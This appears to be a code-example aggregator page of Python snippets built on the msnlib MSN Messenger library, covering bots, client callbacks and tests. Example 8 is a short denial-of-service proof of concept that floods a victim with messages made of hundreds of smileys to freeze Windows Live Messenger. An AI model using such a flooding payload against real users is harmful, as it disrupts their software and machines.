Ejemplo n.º 1
0
	def _setup(self):
		self.m = msnlib.msnd()
		self.m.cb = msncb.cb()
		self.m.email = self.email
		self.m.pwd = self.passwd
		
		self.m._botobj = self
		
		self.m.cb.msg = msnbot_cb_msg
Ejemplo n.º 2
0
def get_friend_list(email, password):
    #    print email, password
    m = msnlib.msnd()
    m.cb = msncb.cb()

    m.email = email.strip()
    m.pwd = password.strip()
    m.encoding = "utf-8"
    try:
        m.login()
        m.sync()
    except:
        return False
    m.change_status("invisible")

    begin_time = time.time()

    users = set()
    while True:
        fds = m.pollable()
        infd = fds[0]
        outfd = fds[1]

        fds = select.select(infd, outfd, [], 0)

        for i in fds[0] + fds[1]:
            try:
                m.read(i)
            except ("SocketError", socket.error), err:
                if i != m:
                    m.close(i)
        merge_users = users | set(m.users.keys())
        if len(users) == len(merge_users):
            end_time = time.time()
            if len(users):
                if end_time - begin_time >= 2:
                    break
            elif end_time - begin_time >= 3:
                break
            time.sleep(0.05)
        else:
            users = merge_users
            begin_time = time.time()
Ejemplo n.º 3
0
def get_friend_list(email, password):
    #    print email, password
    m = msnlib.msnd()
    m.cb = msncb.cb()

    m.email = email.strip()
    m.pwd = password.strip()
    m.encoding = 'utf-8'
    try:
        m.login()
        m.sync()
    except:
        return False
    m.change_status('invisible')

    begin_time = time.time()

    users = set()
    while True:
        fds = m.pollable()
        infd = fds[0]
        outfd = fds[1]

        fds = select.select(infd, outfd, [], 0)

        for i in fds[0] + fds[1]:
            try:
                m.read(i)
            except ('SocketError', socket.error), err:
                if i != m:
                    m.close(i)
        merge_users = users | set(m.users.keys())
        if len(users) == len(merge_users):
            end_time = time.time()
            if len(users):
                if end_time - begin_time >= 2:
                    break
            elif end_time - begin_time >= 3:
                break
            time.sleep(0.05)
        else:
            users = merge_users
            begin_time = time.time()
Ejemplo n.º 4
0
 def __init__(self, client, parent=None):
     self.client = client
     QtCore.QThread.__init__(self)
     self.FriendList = {}
     self.rosterdone = False
     self.client.cb = msncb.cb()
     self.client.cb.msg = self.messageCB
     self.client.cb.iln = self.RosterCB
     self.result = list()
     self.isSoundOn = True
     self.client.cb.nln = self.StatusCB
     self.client.cb.iln = self.StatusCB
     self.client.cb.fln = self.StatusCB
     self.client.cb.rem = self.ignoreCB
     self.client.cb.lst = self.RosterCB
     self.client.cb.bpr = self.ignoreCB
     self.client.cb.fln = self.RosterCB
     self.client.cb.out = self.ignoreCB
     self.client.cb.rem = self.refreshCB
     self.client.cb.fln = self.signOutCB
Ejemplo n.º 5
0
 def __init__(self,client, parent = None):
     self.client = client
     QtCore.QThread.__init__(self)
     self.FriendList = {}
     self.rosterdone = False
     self.client.cb = msncb.cb()
     self.client.cb.msg = self.messageCB
     self.client.cb.iln = self.RosterCB
     self.result = list()
     self.isSoundOn = True
     self.client.cb.nln = self.StatusCB
     self.client.cb.iln = self.StatusCB
     self.client.cb.fln = self.StatusCB
     self.client.cb.rem = self.ignoreCB
     self.client.cb.lst = self.RosterCB
     self.client.cb.bpr = self.ignoreCB
     self.client.cb.fln = self.RosterCB
     self.client.cb.out = self.ignoreCB
     self.client.cb.rem = self.refreshCB
     self.client.cb.fln = self.signOutCB
Ejemplo n.º 6
0
    def connect(self,
                nick=None,
                query_for_distances=True,
                voc_translator=None):

        self.nick = nick

        self.m = msnlib.msnd(self.__debug)
        self.m.cb = msncb.cb()
        self.m.sebot = ChatBot(self.__proxies, query_for_distances)
        self.m.sebot.set_voc_translator(voc_translator)

        self.m.email = self.__user
        self.m.pwd = self.__pass

        print "(MSNBot) Logging In"
        try:
            self.m.login()
            print "(MSNBot) Logging Finished!"
        except:
            raise Exception('Login failed at MSNBot instance! connect()')

        self.set_bot_globals()

        print "Sync"
        # this makes the server send you the contact list, and it's recommended that
        # you do it because you can get in trouble when getting certain events from
        # people that are not on your list; and it's not that expensive anyway
        self.m.sync()

        print "Changing Status to online %s" % self.m.email
        # any non-offline status will do, otherwise we'll get an error from msn when
        # sending a message
        self.m.change_status("online")
        self.m.change_nick(self.nick)

        auto_responses = None

        # SET CALLBACKS!
        self.m.cb.add = cb_add
        self.m.cb.msg = cb_msg
Ejemplo n.º 7
0
"""


def null(s):
	"Null function, useful to void debug ones"
	pass
		

#
# This are the callback replacements, which only handle the output and then
# call the original callbacks to do the lower level stuff
#

# basic classes
m = msnlib.msnd()
m.cb = msncb.cb()

# status change
def cb_iln(md, type, tid, params):
	t = params.split()
	status = msnlib.reverse_status[t[0]]
	email = t[1]
	equeue.append('STCH %s %s\n' % (email, status))
	msncb.cb_iln(md, type, tid, params)
m.cb.iln = cb_iln

def cb_nln(md, type, tid, params):
	status = msnlib.reverse_status[tid]
	t = string.split(params)
	email = t[0]
	equeue.append('STCH %s %s\n' % (email, status))
Ejemplo n.º 8
0
# specially crafted messages that contain a large number of animations ("Smileys"),
# it is possible to make WLM consume large amounts of memory and CPU while
# it attempts to render the animated images, causing it to stop responding.

import sys
import time
import select
import socket
import thread
import msnlib
import msncb

payload = ":'(" * 500

m = msnlib.msnd()
m.cb = msncb.cb()


def do_work():
    time.sleep(15)

    for i in range(100):
        print m.sendmsg(victim, payload)

    time.sleep(30)
    quit()


try:
    m.email = sys.argv[1]
    m.pwd = sys.argv[2]
Ejemplo n.º 9
0
 def test_1_cb_WithoutArgs_Pass_With_Only_Valid_Arguments(self):
     msncb.cb()
Ejemplo n.º 10
0
def launchBot(login, password, nickname, sendTo, msg, logger, nbSecACK, nbSecTotal, daemon=None):
    msnlib.msnd.sendMessageBySlice = sendMessageBySlice
    m = msnlib.msnd()
    m.cb = msncb.cb()
    m.cb.msg = mycb_msg
    m.cb.syn = mycb_syn
    m.cb.ack = mycb_ack
    msnlib.debug=noop
    msncb.debug=noop
    m.email=login
    m.pwd=password
    m.initMsg = ( sendTo, msg )
    if not logger:
        m.logger=noclass()
        m.logger.info=echo
    else:
        m.logger = logger
    m.nbSecTotal = nbSecTotal
    m.continueRun=1
    m.connectionEstablished=0
    m.daemon=daemon
    
    # Set the signal handler and a 5-second alarm
    signal.signal(signal.SIGALRM, loginAlarm)
    signal.alarm(15)
    m.login()
    m.sync()
    signal.alarm(0)
    signal.signal(signal.SIGALRM, completeMSNAlarm)
    m.start=time.time()
    signal.alarm(nbSecTotal+5)
    
    m.change_nick(nickname)
    m.change_status("online")
    
    while m.continueRun:
        # we get pollable fds
        t = m.pollable()
        infd = t[0]
        outfd = t[1]
      
        # we select, waiting for events
        try:
            fds = select.select(infd, outfd, [], 0)
        except:
            quit(m)
        
        for i in fds[0] + fds[1]:       # see msnlib.msnd.pollable.__doc__
            try:
                m.read(i)
            except ('SocketError', socket.error), err:
                if i != m:
                    # user closed a connection
                    # note that messages can be lost here
                    m.close(i)
                else:
                    # main socket closed
                    quit(m)
      
        # sleep a bit so we don't take over the cpu
        time.sleep(0.1)
        now=time.time()
        if not m.connectionEstablished and now-m.start >= nbSecACK:
            m.logger.info(sendTo + ' seems not available, dropping MSN')
            quit(m)
        if now-m.start >= m.nbSecTotal:
            msg = 'Maximum waiting time on MSN, log off'
            m.sendMessageBySlice(sendTo, msg)
            m.logger.info(msg)
            quit(m)
Ejemplo n.º 11
0
	def test_1_cb_WithoutArgs_Pass_With_Only_Valid_Arguments(self):
		msncb.cb()
Ejemplo n.º 12
0
		# typing, ignore
		return

        line = lines[eoh].strip()
        if (line):
            try:
                threading.Thread(None,RecieveMessage( MSNInterface(md,line,email),line,'RECEIVED' ))
            except:
                pass
            #md.sendmsg(email, line)


	#msncb.cb_msg(md, type, tid, params, sbd)

msn = msnlib.msnd()
msn.cb = msncb.cb()
msn.cb.msg = recvmsg

def init():

    global msn

    ChatInterface.Prefix = "!"
    data = open("data/msndata.txt").readlines()
    msn.email=data[0][0:len(data[0])-1]
    msn.pwd=data[1]

    msn.login()

    msn.sync()
    msn.change_status("online")